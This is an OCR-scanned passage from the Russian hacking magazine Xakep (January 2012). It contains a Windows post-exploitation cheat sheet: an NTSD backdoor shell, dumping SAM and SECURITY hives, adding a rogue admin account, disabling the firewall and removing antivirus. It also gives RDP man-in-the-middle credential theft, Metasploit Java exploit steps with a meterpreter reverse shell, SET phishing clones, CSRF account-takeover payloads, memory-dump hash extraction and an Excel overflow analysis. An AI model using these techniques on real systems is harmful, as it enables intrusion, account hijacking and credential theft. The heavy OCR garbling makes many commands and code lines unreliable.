Ntsd -server tcp:port=1337 cal.exe Ntsd -remote tcp:server=<ip­aдpec>,port=1337

net use

РАБОТА

С РЕЕСТРОМ

reg save HKLM\Security security. hive

В nриведе нн ом примере эта команда вкл ю ч ает TFTP. Это п оз в ол ит тебе ис п ользо вать консольный FТР-кл иент t ftp.exe для загруз к и файлов в с и стему.

Л юбая версия ОС Windows младше Vista по умолчанию включает отладчик ntsd.exe, который н аходится в папке

system32. Он предоставляет отличную возможность открыть на системе шелл. Для это го нужн о активировать

удале н ную отладку [ первая команда), подключившись к какому- ни буд ь процессу. После этого к с и стеме сможет подкл ючиться удаленн ый отладчик [вто р ая кома нда). Если посл е п од кл юче н ия он введет команду <<.shell>>, то п олуч ит доступ к ко мандной строке. Этот трюк называется NTSD Backd ooг.

i Подкл ю чает удал е нны е сетевые шары .

Реестр системы- настоящий кладезь информации , nроанализировать которую

бывает очень nолезно. Тут нет особых nремудростей: через консоль ты можеwь

сохранить некоторые ветки из реестра, сделать выборку или, доnустим, доба­

вить новый ключ (наnример, чтобы добавить новое nриложение в автозаnуск).

~ Ком а нда сохраняет ветку security в файле. Ан ал о гично можно, к примеру, сохранить ветку system.

..................................................................................... '" ······· "" .. ... .. ....... .. . .................. ................................ ..

.. ~~~ -~-~-~е--~~-~-~-~~-~~--~-а-~. :~ ~~~ ........... ! ... в .. ~~-й-~-~- -~-~-~~~ -~-~~~~-~-~-~-~ - и SAM, н о дл~ . э~~~~ - ~:.~~~~--~рав~ -~-д-~-~~-~~-~~~-~-~~~ : ............................. .......... .......... .

ге add [\\Та г etiPaddr\] [Re Do- ! С пом ощью этой команды можно добавить в реестр нужный ключ [в том числе на удален ной маш и не TaгgetiPadd г l. 9. ][\К ] g g : Н а п ример, <<R EG ADD HKLM\Sof tware\MyCo /v Data /t REG_BINARY /d f e340ead >> добавит па раметр [ имя : Oata,

maln еу ~ ти п : REG_BINARY, да нн ые: fe340eadl .

reg export [RegDomain]\[Key] [FileName]

reg import [FileName]

.. ...................... "........... ........ . ........... .. .. ~ Выполняет простой э кс n орт дан ны х из р еестра .

И м п орти рует данные в реестр.

reg query [\\TargetiPaddr\J [Reg- · Domain]\[ Кеу] /v [Valuename!] ; Выnолняет n оис к п о р е естру.

ПОИСК ПОЛЕЗНЫХ

ФАЙЛОВ

tree C:\/f /а> C:\output_ of_tree.txt

dir \ /s /Ь 1 find /1 "search_string"

Банальный поиск файлов по диску, казалось бы, элементарная задача. Но как

ты будеwь искать, скажем, на диске С: файл с названием sam_backup.dat? Если ты знаеwь, как это делается,- молодец, переходи к следующему разделу.

А мы пока приведем пару полезных сниппетов:

В ыводит список всех директорий и файлов диска С: в древо видн о м виде, за п исывая их в файл.

Ищет п о вы в оду кома нды d i г из корн я текуще го диска 1\1 и п о всем п оми ре ктория м 1/sl с и с пользованием формата base 1/bl стр оку seaгc h_st гi n g, котора я может встретиться где угодн о в файл е и в п ути к файлу.

Page 51: haker

ИГРЫ

CWMIC

Пользователь, имеющий доступ к консоли, может прибегмуть к еще одному мощному

инструменту- WMI (Windows Management lnterfacel. Помимо довольно навороченных скриптов, можно активно использовать WМI-консоль (WMICI: ниже приведено не­сколько довольно простых примеров, иллюстрирующих, чем она может быть полезна .

~ 1 Описание

wmic baseboard get Manufacturer, Model, Product, SeriaiNumber, Version

wmic nicconfig get caption, macaddress, ipaddress, DefaultiPGateway

wmic nicconfig where "IPEnaЫed = 'TRUE ' and DNSDomain 15 NOT NULL" get DefaultiPGateway, DHCPServe r, DNSDomain, DNSHostName, DNS ­ServerSearchOrder, IPAddress, IPSubnet, MACAd­dress, WINSEnaЫeLMHostsLookup, WINSPrimary­Server, WINSSecondaryServer /format :l ist

wmic printer get Caption, Default, Direct, Descrip­tion, Local, Shared, Sharename, Status

wmic os get bootdevice, caption, csname, current­timezone, installdate, servicepackmajorversion, servicepackminorversion, systemdrive, version, windowsdirectory /format:list

wmic product get Caption, lnstaiiDate, Vendor

wmic path win32_product where "name = 'НР Soft­ware Update"' call Uninstal

С помощью WMI мы можем составлять разл ичные за п росы для получения инфо р маци и о разли чны х

объектах системы. К пр имеру, мы можем попросить WМ I -объект lcompu teгsystem, или bios, или , как в данном примере, baseboaгdl вернуть значение некоторых его nараметров. Вывод офо р мляется в удобном для чте ния формате. Команда в пр имере возв ращает данные о матери нс кой плате.

Извлечение информации о сетевы х ада пте рах : н азва н ия, МАС -адреса, IР- адреса , з аданного

по умол ч а ни ю шлюза.

П одробнаяи нформацияобактивныхсетевыхада пте рах.

П олуч е ни е с п иска nринте ров с их параметрами, в том числ е сете выми име нами .

И звл е ч е ни е информации о системе.

Извлеч ени е списка уста новленных п рограм м .

: Удаление программы НР Softwaгe Update.

АКТИВНОЕ

ВОЗДЕЙСТВИЕ НА СИСТЕМУ

Приведеиные ниже команды производит активное воздействие на систему и меняют ее

параметры, позтому факт их использования в некоторых случаях можно легко отследить.

Однако без них часто попросту не обойтись.

netuserhackerhacker/add

: net localgroup administrators /add hacker или . net localgroup administrators hacker /add ; ....................................... .. : net share nothing$=C:\ /grant:hacker,FULL /unlim­: ited ...........................................................

: net user username /active:yes /domain

netsh firewall set opmode disaЫe

wmic product get name /value wmic product where name="XXX" call uninstall/ nointeractive

rundll32.exe user32.dll, LockWorkStation

Создает нового локал ьн ого пользовател ем с именем hackeг и таким же паролем .

Добавля ет п ол ьзователя hackeг в группу л о кальных админо в .

Расшар и вает ди с к С: и п р едоставляет пол ьзователю hackeг пол н ы е пра ва доступ а.

Есл и ка ки е-то п ол ьзователи заблокирова н ы (к при меру, старые а к к и администратор о в дом е на ) , то их можно разблокиро вать.

Отключает стандартный файервол Windows.

Первая ком анда п оз вол яет получ ить с писок уста н овлен н о го софта, а вто рая- неза метно удалить

нуж ную программу (н а п рим е р , а нтивирус).

Блок ирует (лоч ит) экран пользовател я. ; .......................................................................................... : ...................................... .

Page 52: haker

ВЗЛОМ/ЕАSУНАСК Алексей << GreenDog» Тюрин, Digital Security ltwitter.com/a ntyurinl

ПОЛУЧИТЬ АДМИНСКУЮ УЧЕТКУЧЕРЕЗ MITM НА RDP IЬi•rЯ!!t.·:t

Дава й рассмотрим вполне обыденную для какой-нибудь компании

ситуацию. Есть толпа обычных доменных пользователей, есть некие

админы и техподдержка. Последняя, понятное дело, обладает уже

при вилегиреванными правами , поэтому нас и интересуют учётки

суппорта. Что мы можем сделать?

Существует чудесный протокол RDP, который позволяет получить доступ к удаленному рабочему столу ха ста. Этот протокол как раз

и используют для удалённого администрирования винды. Ведь это

чрезвычайно удобно: <<ИЗ коробки» работает привя зка к учеткам

в домене, а серверная часть предустановлена во всех версиях

Windows, начиная с ХР и 2000 [и даже с ещё более ранних). Вообще.

nротокол дос таточно хорош о защищен- здесь и шифрование, и

возможность применения TLS. Н о не все так хорошо, как может по­

казаться на первый взгляд, что нам только на руку. Протокол млад­

ше 6-й версии уязвим к атаке man-in-the-middle [MiTM), благодаря чему мы можем расшифровывать данные, которыми обмениваются

сервер и клиент, в том числе лаги н и nа роль . С учётом того, что ХР

все ещё широко исnользуются как клиентские ОС, то мы запросто

можем похитить учётку админа . По сути, труднее всего здесь будет

<< заставить>> админчика подключится по RDP. Но если мы проведём MiTM на клиентскую тачку, помучаем её , отключая, например, до­

ступ в Сеть, то её п ользователь в скором времени позвонит в техпод­

держку и попросит удалённой помощи, что нам и нужно: ) . Для лучше го понимания давай рассмотрим сам алгоритм МiТМ­

атаки на протокол RDP младше 6-й версии:

Ol Пр оизводится ARP- или DN S-спуфинг. Таким образом, мы << ви­дим» весь трафик между клиентом и сервером .

11 Клиент подключается к серверу. 21 Сервер посылает в ответсвой открытый ключ с рандомны м

salt 'oм. Подменяем ключ на поддельный.

31 Клиент отвечает рандома м , зашифрованным поддельным откры­тым ключом .

L.l Мы расшифровываем рандом нашим поддельным закрыты м ключом и криптуем е го на стоящим сер верны м.

050

т. т т

51 Трафик расшифровывается на ос н ова н ии полученных данных [он зашифрован симметричным RC4).

Вообще, это первоначальный вид МiТМ-атаки. Был выпущен патч,

который позволил клиенту осуществлять проверку открытого ключа

сервера. Проверка выполнялась за счеттого, что сервер пере­

давал клиенту ещё и МD5-хеш открытого ключа , за шифрованного

закрытым ключо м [т. е. подписи). но в ее реализации был косяк.

Для подписи использовался захардкоженны й в ОС закрытый ключ,

то есть подделать подпись не составлял о труда. Зачем так было

сделан~ непонятно.

Для заинтер есовавшихся рекомендую статью п о теме [gQQ, g:l[ZyAQy). В итоге на RDP можно провести MiTM, проснифать тра­фик без появления всяких окошек с предупреждениями об опас­

ности . Всё это и реализовано в чудо-тулзе Cain&Abel [www.oxid .i tl:

11 Во вкладке Sпiffeг запускаем Sсап МАС addгess.

21 Далее открываем вкладку ARP и выбираем ARP в дереве слева . 31 Кл икаем на плюсикдля добавления в сnисок. L.l Выбираем в списке наши жертвы: слева указываем сервер, справа

-клиенты, в то м числе в видедиапазон а .

51 Запускаем снифер и aгp-poisoпing .

Д а л ее остаётся только ждать . В случае ус п е шной МiТМ-атаки в вет­

ке ARP-RDP появятся за пи си о файлах дамп ов RDР-трафи ка . Е сли

этого не произошло, значит, либо не было подключений. либо ис­

пользовался протокол версии 6 или выше . Н о что делать с дампом?

Просматривая его. мы не найдем логин и параль в виде отдельной

строчки. В данном случае в дампе хранится то, что п ол ьзователь

ввел с клавиатуры. А потому, чтобы не рыться самому, можно вос­

пользоваться мини-утилитой от lгongeek 'a [goo.gi/Embxsl. Запустив её и выбрав дамп расшифрованного RDР-трафика, на выходе мы

получим то, что вводил клиент. Имеется соответствующая видеоде ­

монстрация [goo.gl/pydMZI. Проблема серьезная, особен н о с учётом то го, что на 2003 винде се рвер ная часть поддерживает RPD 5.0.

ХАКЕР 01 / 156/201 2

Page 53: haker

EASY НАСК

АТАКОВАТЬ ПОЛЬЗОВАТЕЛЯ С ПОМОЩЬЮ JAVA

Браузер и е го плагины , в том ч исле Java, являются одними из основ­ных объектов атак, направленных на пользователя. Конечно, Java не так распространена, как Flash, н о зато реже обновляется, чем и пользуются плохие парни. Как может выглядеть атака? Для начала

необходимо опр еделить, какая версия Java установлена у п ользова­теля, и выбрать соответствующий эксплойт. На сайте javatesteг.oгg/ veгsioп.html есть пара хороших вариа нтов . Дальше нужно в ключ ить

социальную инженерию и задействовать любые други е способы ,

чтобы переадресовать п ользователя на зара нее сформированную

страни цу. Какие эксплоиты обыч н о пускают в ход? Наприм ер, можно

взять не особо палевный хоро шенький сплоит к уязвимости-фиче

CVE-201 0-4452, о котором не так да вн о писал наш журнал. Атака реа­

лизуется хакерами очень просто, так как сплоит есть в Metasploit'e:

11 Выбирается сплойт: use exploit/wiпdows/browser/java_codebase_trust

2) Указывается путь к нему и порт:

set URIPATH test.php set LPORT 88

3) Указывается нагрузка:

Set payload java/ meterpreter/ reverse_tcp 4) Выполняется запуск:

Exploit

Вот и явав ская версия Меtегргеtег пригодил ась :]. Н о что де­лать, если версия Java пропатчена? Можно воспользоваться

у ниверсальным зкс пл ой том. У него ес т ь од ин косяк: п оль зо-

вателю выдается пр еду пр еждение о том, что будет за п уще но

J аvа- прил ожение. Однако его огром но е пр еимущества состоит

в том, что о н не использует никакие нагрузки, а также за гружа­

ет на машину пользователя любой экзешник и запускает е го,

что значительн о рас ш иряет наши возможности в некоторых

ситуациях. Что делать с предупреждением? Н иче го':] В данном случае нам поможет либо JavaScгipt, который будет при ставать

к юзерус просьбой о запуске Jаvа-апплета, либо со циальная

инженерия. Кстати, существует интересная статисти ка, касаю­

щаяся социальной инженерии и практического п рименения этого

модуля l defcoп- r ussia . гu/wa ll. t x t ]. Проще всего воспользоваться этим эксплойтом с помощью тулкита SET [Social Епgiп еег Too lkit]. Он входит в комплект B ackTгack 5 и дос ту п е н для за грузки на

официальн ом сайте l www.social-e пg i п ee г. oгg]. SET автоматиче ски создает фишинговый сайт, и в этом его главны й бо н ус. Запускаем

SET и п оследовательно выбираем:

1) Website Attack Vectoгs; 2) The Java Applet Attack Method; 3) Web Templatesдля использования существующе го шаблона [или

Site Сlопег для автоматического создания клона сайта]; 4) Gmail для создания клона почты Gmail; 4) lmpoгtyouгown executaЫe, ч тобы использоватьсобственный ехе­

файл.

В кон це впи сывается путь к ехе-файл у. В се, теперь злоумышленнику

остается только заманить клиента на сайт и подождать, п ока он со­

гласится на запуск Java .

ОРГАНИЗОВАТЬ ДОСТУП В ИНТЕРНЕТ В ОБХОД ПРОКСИ

Что, закрыли до с туп к В Контакте на работе? Что делать?

Паникова ть? Менять работу?:] Можно использовать зеркала,

но а дминчики тоже до с таточно быстро их прикрывают, ведь на­

чальство сказа л о, что народ не дол жен бездельничать, засижи­

ваясь в соцсетя х. Конечно, можно подружиться и договориться

садми н а ми [и это самый лучший выход :11, н о можно и п ойти обходным путем. Н апример, если исходящий трафик из корпора­

тивки не фильтруется по каким-то портам и протоколам, то это

можно использовать . Рассмотрим распространённый случай:

пусть для пользователей разрешён доступ по SMTP [25/ТСРI для того, чтобы они могли читать свою почту с Gmail или Mail.гu. Как, я думаю, уже ясно, чтобы обойти прокси, нам потребуется,

по сути, поднять свой прокси на каком-нибудь сервере в инете

и пр описать е го в браузере. Гд е в зя ть сервер? Можно ку п ить

виртуальный сервер за 150 рублей в месяц . Н о ещё лучше, если

дома ты выходишь в Сеть с внешнего IP. В качестве прокси можно взять Зр гоху lwww. Зproxy . ru l, который одновременно и прост, и функ ци о н а л ен. К тому же е го ра зработал знаменитый олдскуль­

ный хакер ЗАРАЗА. П омнится, я ходил на его сайт security. пnov. гu

лет десять назад, и мне всегда хотелось поблагодарить е го за

хороший ресурс, что я сейчас и делаю, п ользуясь служебны м

положением. :1 Для практической реализации нам потребуется с качать либо исходник и [для *н иксов], л ибо экзешнички [для

виндыl и запустить проксик на необходимом порте с помощью следующей команды:

pro)(y -р25

ХАКЕР 01/156/ 2012

Прописываем прокси-сервер в браузере и радуемся интернету .

Конечно, для лучшей юзабельнести стоит прописать это т пр окси

как сервис и ввести аутентификацию. И то и другое легко реали­

зовать через конфиг-файл Зргоху. Как о пр еделить, заблокирован

ли исходящи й трафик из корпоративки? В про стей шем случае зто

известно пользователям [как в случаях с внешней почтой). Также можно проверить, заблокирован ли трафик, подключившись с по­

мощью браузера без пр окси к каким -ни будь портам хостов в Сети

[типа www.example.com:25l. Если порт доступен, то мы получим приветственное сообщение сервиса. Конечно, сканер типа nmap позволяет добиться более точных результатов. Тогда можно будет

попробовать и другие протоколы, типа UOP и ICMP, и всяки е махи­

нации с ТСР, например ТСР-АСК. П о идее, пр и большей свободе ма­

нипуляций можно добиться инкапсуляции п очти любого необходи­

мого трафика в д о п устимый исходящий трафик из ко рпоративной

сети и ор ганиз о вать таким об разом канал связи.

Proxy server

0 Use а proxy server for your LAN (These settiпgs will поt apply to dial-up or VPN coпnections),

Address: ~['iiiiiiiiiiiiiiiiil]l Port: ~ 1 Advaпced ... J

О Bypass proxy server for local addresses

Проксик может быть на любом порте

051

Page 54: haker

ВЗЛОМ 1 EASY НАСК

ВЫЯВИТЬ ИСПОЛЬЗОВАНИЕ REVERSE-ПPOKCИ

Продолжая ~ачатую тему прокси , хочу рассказать тебе о геvегsе­

прокси. Что это такое? Это некий сервер, который выдаёт себя за

веб-сервер, хотя на самом дел е только передаёт запросы [прокси­рует) от клиента настоящему веб-серверу и отсылает его ответы клиенту. За ч ем это нужно? Цели могут быть ра з ны е. Наприм ер,

геvегsе- пр окси можно использовать для ра с пределения нагрузки

между несколькими внутренними веб-серверами, в качестве WAF или специализированного SS L- cepвepa, обеспечивающе г о до­

полнительный у ровень защиты , или кэширующего прокси [думаю, его назначение ясно без дополнительного объя снения) . Возмож­

ны и комбинирован ны е варианты . В любом случае присутствие

проксиков чаще всего с тараются скр ыть, а сами прокси призваны

ск рывать внутреннюю структуру системы [ де йствительно, зачем о ней знать кому-то «с наружи»?). Как раз раскрытием и того и друго­

го мы сейчас и займёмся.

Выявить геvегsе-проки и узнать внутрен нюю структуру всей

систему в целом- интересная задача . Н о как же ее решить? Ведь

прокси просто п ередает п ол у ч ен н ый о т клиента за пр ос дальше на

веб-сервер . Пр още все го в данн ом случае просматривать за голов­

ки ответов от сервера . Например, в них может содержаться заголо­

вок X-Foгwaгded-Foг, по которому часто можно распознать наличие

прокси, но зто го маловато! На са мом деле , протокол НТТР- вещь

мощная, и многие не в курсе его мал еньких приятных особенно­

стей. Поэтому давай пр исмотрим ся к н а ра ботке француза Ни коласа

Грегуара lgoo.gi/VObeW). В стандарте для пр отокола НТТР, а точнее в RFC 2616 для версии 1.1, говорится о таком поле заголовка, как Ма х Foгwaгds . Это поле, которое хранит в себе цифровое значе­

ние, используют как минимум методы TR ACE и OPTIONS. При его наличии каждый гейт и прокси-сервер должны отнимать единицу

перед передачей данных сл едующему получателю. Если отнять

Результат работы HПP-traceroute. Squid в качестве reverse-npoкcи у Wikipedia.org

Что такое reverse proxy

уже ничего нельзя, а точнее если значение получилось равным

нулю, то этот сервер должен ответ и ть так, как будто он ко нечны й

получатель. Дл я други х методов, типа GET и POST, обработка этого поля не обязательна . П о сути, это аналог п оля TTL в IР-протокол е.

Никола е не обл омалея состряпать т у л зу, от пр а вляющую за прос ы

веб-серверу и анализирующую ответы, то естьвне котором роде

НТТР-аналог tгaceгoute. Даже с учётом того, что ТRАСЕ-метод

часто запрещено использовать для обработки на веб-серверах, а

другие методы не реглам е нтированы RFC, на пра ктике метод GET хорошо обрабатывает поле MaxFoгwaгds. В отличие от tгa ceгo ut e,

мы можем получить гораздо бол ьш е полезной информации, к при­

меру внутренние IР-адреса проксиков и их версии. Использовать

ту л зу очень просто:

HTTP-Traceroute.py -t www.victim.com -m метод (TRACE/ GET/POST)

СДЕЛАТЬ ЧТО-НИБУДЬ С ПОМОЩЬЮ CSRF ы.rА\!И

В связи с про с ветительской деятельностью журнала не мо гу не кос­

нуться такой интересной темы, как CSRF [Cгoss Site Request Fогgегу, П одделка межсайтовых за просов) . Это вид ата ки, направленный на посетителей веб - сайтов . Если жертва заходит на сайт, созданный

злоумышленником, от её лица тайно отправляется за про с на другой

сервер [например, н а сервер платёжной системы) , осуществляющий

некую вредоносную операцию [например , перевод денег на счёт злоумышленника) . Интересно, что атака осуществляется на пользо­

вателей системы, тогда как защита организуется на стороне сервера,

то есть о ней частенько забывают, а потому и встречается такая атака

нередко. Как ни странно, из браузера можно отправ ить можно почти

любой за прос, особен но если достуnе н JavaSc гipt . Предположим, что

мы хотим захватить аккаунт какого-нибудьюзерана каком-нибудь

сайте. На этом сайте есть скрипт для смены пароля п ол ьзователем.

Для смены требуется отп равить GЕТ-эапрос следующе го в ида : http:// seгveг.com/change_passwoгd.php?NP=пew_pass, где пew_pass-па роль, который мы п остави м нашей же ртв е. Итак , от нас требуется

только создать НТМL'ку и впи сать в н её следующий код :

<iframe src= http ://server.com/change_password.php?NP= new_pass></ iframe>

Злоумышленник заставляет жертву п осетить сайт, в результате

052

L LJ

чего п олучает возможность войти на него п од ее аккаунтом с изме­

ненным паролем. Но GET-зan poc- это слиш ком просто . Что делать ,

если для изменения пароляиспользуется метод РОSТ? В таком

случае создаем следующий код:

<form name=passwd action= "http : //server.com/change_password.php" method="post" > <input type=hidden name= NP value= new_pass > <input type="submit" > </form> <script>document.passwd.submit(); </script >

Хорошоl А что если изменения вносятся в р езультате XML­эanpoca? Нет проблем- отправляем XM L-зa np oc. :)

<form name=passwd ENCTYPE="text/plain" action="http : //server.com/change_password.php" METHOD="POST" > <input type=hidden name= '<?xml version' value= '"1.0"?><User><Password>new_pass</Password></User>' > </ form> <script>document.passwd.submit();</script>

Идея, думаю, ясна. Отправить можно что угодно куда у годно ; ) .

ХАКЕР 01 /156/2012

Page 55: haker

EASY НАСК

ПРОАНАЛИЗИРОВАТЬ ДАМП ПАМЯТИ er..i.шr.~t

Компьютерная криминалистика !или, как ее еще называют, digital foгensicsl- нужное и важное направление , которое сейчас стало особенно модным. В операционной системе имеется множество

компонентов, которые хранят доказательства и следы взлома или

преступления,- это вообще очень обширная тема для исследо­

вания. Сегодня мы расскажем об одном из таких компонентов и

рассм отрим , что можно извлечь из оперативной памяти :

• список запущенных процессов;

• сnисок открытых сетевых сокетов; • список открытых сетевых соединений; • перечень всех DLL-библиотек для каждого процесса; • список открыт ых файлов для каждого процесса ;

• список используемых ключей реестра для каждого процесса; • список модулей ядра ОС; • информация о Viгtual Addгess Descгiptoг; • адресное пространство для каждого процесса; • и т.д .

Короче говоря, в памяти содержится много интересной и полез­

ной информации, но, чтобы извлечь и проанализировать ее, нам

потребуютс я некоторые инструменты. Позволь сразу познакомить

тебя с фреймворком для анализа дампов п амяти Volatility 19QQД]L Hi5ip l. Фреймвор к написан на Python'e и поддерживает все версии ОС Windows !начиная с XPI, правда , только 32-битные . Возмож­

ности модулей, которые входят в состав фреймворка, покрывают

все основные nотребности компьютерного криминалиста. Я при­

веду лишь несколько примеров, которые могут быть nолезны для

пентестерских дел.

Прежде чем приступать к анализу дампа памяти !то есть файла с ее содержимым!, давай разберемся с тем, где этот самый дамn

взять . Вариантов тут тьма тьмущая, но если память необходимо

сдампить максимально быстро и незаметно, советую тебе вос­

пользо ваться утилитой MoonSols Dumplt ihttp://goo.gi/BY1QN J. Эта мини -тулза имеет только одну функцию: делает дамп памяти и

сохраняет ее содержимое в файле « рядом с собой». Создатели со­

ветуют кинуть утилиту на флешку. Все, что nотребуется дальш е, ­

это минута админского доступа в ОС ! еще лучше, если атакуемый компьютер поддерживает автозапуск с USBI.

Хорошо, дамп есть- что дальше? Теперь дело за Volatilit y. Кстати, чтобы не возиться с Python'oм, рекомендую с качать от­

дельные stаndаlоnе-зкзешники , в которые все уже включено . Для

начала посмотрим, что за дамп мы имеем:

volatility.exe imageinfo -f d: \test .raw

Дамп памяти в два кпика

ХАКЕР 01 /156/2012

--ль-

Виндовые учётки из дампа памяти

Зде сь:

• imageinfo- выбранный модуль фреймворка; • f d:\te st.гaw- путь к файлу с дампом. Volatility выдает набор какой-то непонятной информации . ;l

Отсюда мы возьмём только имя профиля IWinXPSP3x86l, который будем использовать далее . Итак, какую информацию добыть?

Простейший пример- извлечение из дампа списка запущенных

процес со в:

volatility pslist -f d:\test.raw --profile=WinXPSPЗx86

Или , например, спи ска сете вых подключений:

volatility netscan -f d:\test.raw --profile=WinXPSPЗx86

А что если посмотреть что-то более интересное и, например,

п олучить учётки, которые хранятся в SAM, или ещё какую-нить л юбоп ытную информацию из LSA? Для этого нам потребуется организо вать доступ к реестру Windows нашего дампа.

volatility hivelist -f d:\test.raw --profile=WinXPSPЗx86

Здесь hivelist- модуль для вывода информации реестра, а точнее путей и виртуальных адресов тех или иных веток реестра.

Используя полученную информацию , запускаем следующий

модуль:

volatility hashdump -f d:\test.raw --profile=WinXPSPЗx86 -у ехеlезsьбе -s exelsesьбe

Здесь:

• hashdump- модуль для вытаскивания данных об учётках; • у Охе1035Ь60- виртуальный адрес куста System; • s Охе1805Ь60- виртуальный адрес куста SAM.

Как видишь, всё просто и быстро. Кроме того , фреймворк также

понимает файлы крэшдампов и гибернации. Но возможностей,

как я писал, ещё больше. Так что посмотри вики на сайте Volatility. Чтобы быстро получить список всех модулей , которые входят в

фреймворк, а также их описания достаточно запустить приложе­

ни е без пара метров.

053

Page 56: haker

ВЭЛОМ/ОБЗОРЭКСПЛОИТОВ

Обзор эксплоитов В конце октября- начале ноября появилось

достаточно много новых интересных продуктов

индустрии эксплоитостроения. К сожалению,

рассказать обо всех достижениях современной

науки и техники в рамках этого обзора не пред­

ставляется возможным, поэтому мы, следуя

студенческой пословице «Лучше пи на три в

рукаве, чем неопределенный интеграл в небе »,

отобрали наиболее выделяющиеся сплоиты.

051,

Павел Александрович [ivinside.Ьiogspot.coml

Дмитрий Михайлович [115612, дер . Красная звездочка, д .11

1 Перепоnнение буфера в Microsoft Office 2007 Excel.xlb

CVSSV2 9.3 111111 111 11 11 11111 1111 111 11

IAV: N/AC :M/AU: N/C:C/J:C/A:C) []]Ш Дата релиза : 5 ноября 2011 года .

Автор: Aniway, abysssec, sinnЗг, juan vazquez. CVE: CVE-2011-01 05. В начале ноября в Сети появил с я эксnлоит для уязвимости, которая

проявляется пр и обработке специальным образом созданно го хiЬ ­

файла Excel. В результате использования этой уяз вимости атакую­щий получает ни много ни мало полный контроль над удал ен но й

системой .

Цf:JЦ!•Iii Excel позволяетсоздавать и настраи в ать пан ели для бол ее удоб­

ного и эффектив н ого использования ра зличны х ин струменто в,

причем эти п а н ели можно сохранятьдля повторного использо­

вания !например, на другом компьютере). Обычно такие панели инструментов им с ют расширение xl b. Формат файла эксплоита

ХАКЕР 01 / 156/ 201 2

Page 57: haker

Обзор эксплоитов

@оЬ start () ; (CLASS SESSION ACTION ) ;

SsessionAction = - Sessi~nAction () ; SselectedDocuments = SsessionAction ->get () ; if( removeTrailingSlash ($sessionAction ->getFolder ()) == getParentPath ($ POST [ ' id ' ])

&& sizeof ($selectedDocLJments )) {

if(($ key = array search (basename ($ POST [ ' id ' ]) , $selected0ocuments )) !== false ) {

}

$selected0ocuments [$key ] = $ POST [ ' value ' ] ; $sessionAction ->set ($selectedDocuments ) ;

baseпame ( $ POST [ ' icJ ' ]) . "\n "; displayArray ($selectedDocuments ) ;

} elseif( removeTrailingSlash ( $ sessionActioп ->getFolder ()) -- removeTrailingSlash ($ POST [ ' id ' ])) {

S sessionActioп ->setFolder ( $ POST [ ' id ' ]) ; } writelnfo (ob get сlеап ()) ;

Фра г ментфайла ajax _ save _name .php

соотв етс твуетспецификации BIFFB. Перечисли м кратко н екоторые

положения этой с пецификации , чтобы л у чше п онять суть работы

экс плоита . Bl FF- струк тура представляет собой идущие п одряд

за пи си:

BOF Туре = workbook globals Workbook globals

EOF BOF Туре = worksheet

Sheet records поток EOF BOF Туре = worksheet

Sheet records поток EOF

В се за писи имеютсл едующий формат:

ID (два байта) Размер данных, sz (два байта)

Данные (sz байт)

П ер вы е четыре байта (ID и размер] - это заголовок записи. За­

писи могут группироваться в потоки. Ограничителями гр упп служат

две с п е ци альные за пи с и: BOF IBegiп Of File] и EOF IEпd Of Fil e]. На с интересует BOF, которая имеетследующий формат:

BOF , BIFF8 Смещ. Раз~;ер Значение Описание

2 е8е9Н ID 2 е01ен размер

ее 2 ебеf'Н версия

е2 2 ***.fcH тип

е4 2 ID создания е б 2 год создания

ев 4 флаг истории файла

12 4 самая младшая версия Excel, которая может читать записи

из этого файла

Типы ВОF-записей:

еееsн - Workbook globals

ХАКЕР 01 /156/2012

ееебН - Visual Basic module ее1ен - Works heet еыен - Chart ее4еН - BIFF4 Macro sheet е1еен - BIFF4 Workbook globals

Н а практике за записью BOF может сл е довать н едокуме нти­

рованная запись со значением типа ОхА7. Эта за пи сь имеет см ы с л

только в том случае, если за ней идет другая запись со значением

типа ОхЗС. При выполнении этихтребований в стек копируется

длина записей и происходит вызов функции sub_3 0199E55. Она принимаеттри аргумента. В п ер в ом ар гументе содержится пр о­

читанное из файла количест во байт для ко п ирова ния. Второй

аргументопре деляет адрес, куда копируются данные, а третий

указывает максимальный объем данных, который может быть

скопирован.

.text:зesЗF8Зe call suЬ_Зе1деде1

.text:Зe5ЗF835 cmp еах, ЗСh

.text:Зe5ЗF838 mov [ebp+var_ED4] , еах

.text:Зe5ЗF83E jпz lос_Зе54е488

.text:Зe5ЗF844 call suЬ_зе1деде1

.text:Зe5ЗF849 mov есх, [ebp+var_EDC]

.t ext:Зe5ЗF84F imul есх, [ebp+var_Fee]

. text:Зe5ЗF856 mov edi, еах

.text:Зe5ЗF858 mov еах, [ebp+var_EEe]

.text:Зe5ЗF85E lea еЬх, [ес х+еах+З ]

.text:Зe5ЗF862 call suЬ_ЗеlдедвЕ

.text:Зe5ЗF867 push eFFFFFFFDh

. text:Зe5ЗF869 рор edx

.text : Зe5ЗF86A sub edx, есх

. text:Зe5ЗF86C add еа х, edx

.text:Зe5ЗF86E push еах ; Dst

. text:Зe5ЗF86F push еЬх ; int

.text:Зe5ЗF87e mov еах, edi

.text:Зe5ЗF872 call sub_Зe199E55

Проблема состоит в том, что в функции sub_30199E55 не осу ­

ществляется дол ж н ая фильтрация треть е г о аргумента, т о гда как

пользователь может кон тр олировать е го значение. Это з начит,

что в стеке можно п ереза писать объ ем и адрес н уж ны х данны х.

055

Page 58: haker

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

puЫic static checkFile ($name ) { if ($GLOBALS [ 1 config uration 1

][1 file Ыасk list l ] != 11

) {

$Ыacklist = explode (" , ", $GLOBALS [ 1 configLJration 1][

1 file Ыасk list 1]);

} else { $ Ыacklist = аггау ();

} $ Ыacklist [] = 1 pt1p 1

;

$extension = pathinfo ($name , PATHINFO_EXTENSION ); foreach ( $ Ыacklist as $value ) {

if ($extension == trim (mb str-tolol..rer ($valL1e ))) { throw EfrontFileException (_YOUCANNOTUPLOADFILESWITHTHISEXTENSION .

1 .$extension , EfrontFileException : :FILE IN BLACK LIST ); 1-П

Кодфункции CheckFilell

.text:30199Eб0 cmp edi, [esp+4+Dst]

.text:30199Eб4 ja loc_303EE1B7

.text:30199 E бA mov есх, [esp+4+arg_0]

.text:30199EбE push еЬх

.text:30199E бF mov еЬх, dword_30F72бC0

. text:30199E75 push еЬр

.text : 30199E7б mov еЬр, nNumberOfBytesToRead

.text:30199E7C push esi

.text:30199E7D mov [esp+l0h+Dst], есх

. text:30199E93 mov еах, [esp+l0h+Dst]

.text:30199E97 push esi ; Size

. text:30199E98 lea edx, dword_30FбEбB8[ebx]

.text :30199E9E push edx ; Src

.text:30199E9F push еах ; Dst

. text:30199EA0 sub edi, esi

.text :30199EA2 call memcpy

. text:30199EA7 add [esp+lCh+Dst], esi

.text:30199EAB add еЬх, esi

